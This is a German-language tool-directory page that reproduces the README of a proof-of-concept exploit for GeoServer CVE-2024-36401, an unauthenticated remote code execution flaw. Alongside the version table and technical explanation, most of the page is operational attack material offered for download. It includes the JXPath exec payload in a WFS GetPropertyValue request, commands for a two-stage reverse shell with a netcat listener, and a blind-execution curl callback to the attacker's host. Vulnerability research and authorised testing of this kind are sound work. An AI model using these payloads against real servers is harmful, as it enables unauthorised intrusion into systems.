Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-36401-poc — Unauthentifizierter RCE-Exploit für GeoServer (CVE-2024-36401) über XPath-Injection in OGC-Filtern. Unterstützt Reverse Shell und blinde Befehlsausführung mit automatischer Versionserkennung und Erkundung von Feature-Typen. | Kitploit
Tools/GitHubGitHub/delt-a/cve-2024-36401-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-Tool
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Unauthentifizierter RCE-Exploit für GeoServer (CVE-2024-36401) über XPath-Injection in OGC-Filtern. Unterstützt Reverse Shell und blinde Befehlsausführung mit automatischer Versionserkennung und Erkundung von Feature-Typen.

Repository anzeigen
13vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-36401 — GeoServer OGC XPath Injection RCE

Python CVE CVSS License

Exploit für nicht authentifizierte Remote-Codeausführung (Remote Code Execution) bei GeoServer über die Injektion des OGC-Filterparameters valueReference (XPath/JXPath-Auswertung).

Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bestimmt. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.


Inhaltsverzeichnis

  • Überblick
  • Betroffene Versionen
  • Technische Details
  • Voraussetzungen
  • Installation
  • Verwendung
  • Beispiele
  • Funktionsweise
  • Fehlerbehebung
  • Referenzen

Überblick

GeoServer ist ein Open-Source-Java-Server zum Austausch von Geodaten, der häufig in Regierungs-, Unternehmens- und Forschungsumgebungen eingesetzt wird. CVE-2024-36401 ermöglicht es einem nicht authentifizierten Angreifer, beliebige Betriebssystembefehle auf dem Host auszuführen, indem Java-Ausdrücke in OGC-Filterparameter (Open Geospatial Consortium) injiziert werden.

Die Schwachstelle wurde im Juli 2024 aufgrund aktiver Ausnutzung in freier Wildbahn in den Katalog CISA Known Exploited Vulnerabilities (KEV) aufgenommen.


Betroffene Versionen

BranchVerwundbarer BereichBehoben in
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

GeoServer-Versionen älter als 2.23.0 sind ebenfalls wahrscheinlich betroffen, aber sie sind End-of-Life und ungetestet.


Technische Details

GeoServer verwendet die Bibliothek GeoTools, um OGC-Filterausdrücke auszuwerten. Der Parameter valueReference (und andere wie CQL_FILTER) wird ohne Bereinigung an JXPathContext.selectNodes() von Apache Commons JXPath übergeben.

JXPath unterstützt das Aufrufen beliebiger Java-Methoden über Ausdrücke wie:

exec(java.lang.Runtime.getRuntime(), 'id')

Diese Auswertung erfolgt vor der Authentifizierungsprüfung für bestimmte Endpunkte, wodurch die Schwachstelle vollständig ohne Authentifizierung ausnutzbar ist.

Verwundbare Endpunkte:

  • POST /geoserver/wfs — GetPropertyValue-Anfrage mit valueReference
  • GET /geoserver/ows — gleicher Parameter über die Abfragezeichenfolge

Wichtiger technischer Hinweis: Der valueReference-Ausdruck muss einfache Anführungszeichen (') um die Befehlszeichenfolge verwenden. Doppelte Anführungszeichen (") führen zu XML-Parsing-Fehlern und verhindern die Ausführung – eine häufige Falle in anderen öffentlichen PoCs.


Voraussetzungen

  • Python 3.9+
  • requests-Bibliothek
  • Ziel, das eine verwundbare GeoServer-Version mit mindestens einem verfügbaren WFS-Feature-Typ ausführt (die Standard-Beispieldaten-Workspaces sf, topp, tiger sind ausreichend)

Installation

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

Oder installieren Sie die Abhängigkeiten direkt:

pip3 install requests

Verwendung

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
  -l, --lhost LHOST     Your IP address for reverse shell callback
  -p, --lport LPORT     Listener port (default: 4444)
  -c, --cmd CMD         Single command to execute (no output returned)
  -f, --feature FEATURE Feature type override (auto-detected if omitted)

Modi

ModusFlag(s)Beschreibung
Reverse-Shell-l LHOST -p LPORTZweistufige Reverse-Shell über bash
Befehlsausführung-c CMDEinzelnen Befehl ausführen (blind — keine Ausgabe)
Feature-Typ-Override-f FEATUREAuto-Erkennung überspringen, angegebenen Typ verwenden

Beispiele

1. Reverse-Shell (empfohlen)

Starten Sie zuerst einen Listener:

nc -lvnp 4444

Führen Sie dann den Exploit aus:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

Erwartete Ausgabe:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

Auf dem Listener:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. Befehlsausführung (blind)

Führen Sie einen Befehl aus, ohne eine Ausgabe zu erhalten. Nützlich für Out-of-Band-Verifikation oder das Ablegen von Dateien:

# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

Hinweis: Befehle, die Shell-Metazeichen (>, |, &, ;) enthalten, werden automatisch base64-kodiert, um Parsing-Probleme zu vermeiden.


3. Feature-Typ manuell angeben

Wenn die automatische Erkennung fehlschlägt, geben Sie einen bekannten Feature-Typ vom Ziel an:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

In den GeoServer-Beispieldaten enthaltene gängige Feature-Typen:

WorkspaceFeature-Typ
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

Funktionsweise

Der Exploit sendet eine GetPropertyValue-WFS-Anfrage mit einem bösartigen valueReference-Ausdruck:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

Für die Reverse-Shell wird ein zweistufiger Ansatz verwendet, um Probleme mit Shell-Metazeichen im exec()-Argument (als einzelne Zeichenfolge) zu vermeiden.

Tool herunterladen